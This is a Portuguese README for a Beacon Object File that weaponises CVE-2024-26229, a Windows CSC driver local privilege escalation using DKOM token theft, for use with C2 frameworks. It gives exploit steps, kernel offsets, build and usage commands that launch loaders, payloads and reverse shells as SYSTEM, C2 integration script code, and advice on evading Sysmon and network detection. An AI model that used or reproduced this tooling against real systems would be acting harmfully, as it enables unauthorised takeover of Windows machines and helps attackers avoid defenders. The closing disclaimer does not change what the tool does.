
CVE-2024-26229 Beacon Object File version
Implementação em Beacon Object File do CVE-2024-26229 — escalonamento de privilégios local do driver CSC do Windows via roubo de token DKOM.
Baseado em RalfHacker/CVE-2024-26229-exploit, convertido para BOF com Dynamic Function Resolution (DFR) para uso com frameworks C2 que suportam a API BOF do Cobalt Strike.
\Device\Mup\;Csc\.\. via NtCreateFile para obter um handle para o driver CSC0x001401a3 (CSC_DEV_FCB_XXX_CONTROL_FILE) com um buffer de entrada manipulado apontando para KTHREAD->PreviousMode - 0x18, corrompendo PreviousMode de UserMode para KernelModePreviousMode = KernelMode, NtWriteVirtualMemory pode escrever em endereços arbitrários do kernelEPROCESS->Token do processo SYSTEM (PID 4) sobre o token do processo atual (DKOM)PreviousMode para UserModeCreateProcessA — o processo filho herda o token SYSTEMO próprio processo beacon se torna SYSTEM após o passo 4. O processo iniciado é opcional — se CreateProcessA falhar, o beacon ainda estará elevado.
HKLM\SYSTEM\CurrentControlSet\Services\CSC → Start = 1)| Offset | Valor | Estrutura |
|---|---|---|
EPROCESS->Token | 0x4B8 | Windows 10 19041–19045 / Server 2019 17763 |
KTHREAD->PreviousMode | 0x232 | Windows 10 19041–19045 / Server 2019 17763 |
Esses offsets são específicos da versão. Se você estiver mirando em uma compilação diferente, verifique com WinDbg:
dt nt!_EPROCESS Token
dt nt!_KTHREAD PreviousMode
Requer mingw-w64 e um cabeçalho beacon.h compatível com seu framework C2.
x86_64-w64-mingw32-gcc -c -o cve-2024-26229.x64.o cve-2024-26229.c
Coloque o .o compilado no seu diretório BOF (ex.: _bin/cve-2024-26229.x64.o).
cve-2024-26229 --path <exe_path> [--args "<exe_args>"]
Iniciar um loader com shellcode local:
cve-2024-26229 --path C:\Users\user\loader.exe --args "--munition-local C:\Users\user\payload.bin"
Iniciar um reverse shell:
cve-2024-26229 --path C:\Windows\System32\cmd.exe --args "/c C:\Users\user\shell.exe"
Executar sem argumentos:
cve-2024-26229 --path C:\Users\user\beacon.exe
[+] System EPROCESS = 0xffff9383f3a62040
[+] Current KTHREAD = 0xffff9383fa4df080
[+] Current EPROCESS = 0xffff9383fa9b3080
[!] DKOM: overwriting EPROCESS->Token
[+] Token replaced -- beacon process is now SYSTEM
[+] Spawned PID 2044 as SYSTEM: C:\Users\user\loader.exe --munition-local C:\Users\user\payload.bin
Registre o BOF no seu script de extensão .axs:
var cmd_cve26229 = ax.create_command(
"cve-2024-26229",
"CVE-2024-26229 CSC driver LPE -- DKOM token theft to SYSTEM",
"cve-2024-26229 --path C:\\loader.exe --args \"--munition-local C:\\payload.bin\""
);
cmd_cve26229.addArgFlagString("--path", "path", "Path to executable to run as SYSTEM", "");
cmd_cve26229.addArgFlagString("--args", "args", "Arguments for the executable", "");
cmd_cve26229.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
let path = parsed_json["path"];
let args = parsed_json["args"];
if (!path) {
ax.task_output(id, "Error: --path is required");
return;
}
let bof_params = ax.bof_pack("cstr,cstr", [path, args]);
let bof_path = ax.script_dir() + "_bin/cve-2024-26229." + ax.arch(id) + ".o";
ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, "Task: CVE-2024-26229 LPE");
});
O empacotamento de argumentos é cstr,cstr — duas strings terminadas em nulo correspondentes às duas chamadas BeaconDataExtract no BOF.
PreviousMode corrompido. Nenhum arquivo escrito, nenhum serviço criado, nenhuma modificação no registro.--munition-local) em vez de buscar via HTTP para evitar detecções baseadas em rede.CreateProcessA com CREATE_NO_WINDOW. O processo iniciado herda o token SYSTEM. Se o seu loader injetar em outro processo (ex.: svchost.exe), o loader em disco pode ser limpo depois.NtCreateFile para \Device\Mup\;Csc\.\. e o IOCTL não são comumente registrados por configurações padrão do Sysmon. A chamada CreateProcessA gerará uma criação de processo padrão (Event ID 1) — certifique-se de que seu binário iniciado não seja assinado (ou detectado por assinatura).PreviousMode para UserMode após a cópia do token. O processo beacon continua funcionando normalmente pós-exploração.EPROCESS->Token (0x4B8) e KTHREAD->PreviousMode (0x232) são válidos para Windows 10 19041–19045 e Server 2019 17763. Outras compilações podem exigir ajustes.sc query csc ou o registro HKLM\SYSTEM\CurrentControlSet\Services\CSC (Start = 1). O driver está habilitado por padrão em estações de trabalho, mas pode estar desabilitado em servidores.Esta ferramenta destina-se apenas a testes de penetração autorizados e pesquisa de segurança.
O uso desta ferramenta contra sistemas que você não possui ou para os quais não possui permissão explícita por escrito para testar é ilegal sob a lei vietnamita, incluindo, mas não se limitando a:
Esta ferramenta é fornecida apenas para fins educacionais. O autor não assume nenhuma responsabilidade por uso indevido. Você é o único responsável por garantir que seu uso esteja em conformidade com todas as leis locais, nacionais e internacionais aplicáveis.
Ao usar esta ferramenta, você confirma que obteve a devida autorização do proprietário do sistema antes de qualquer atividade de teste.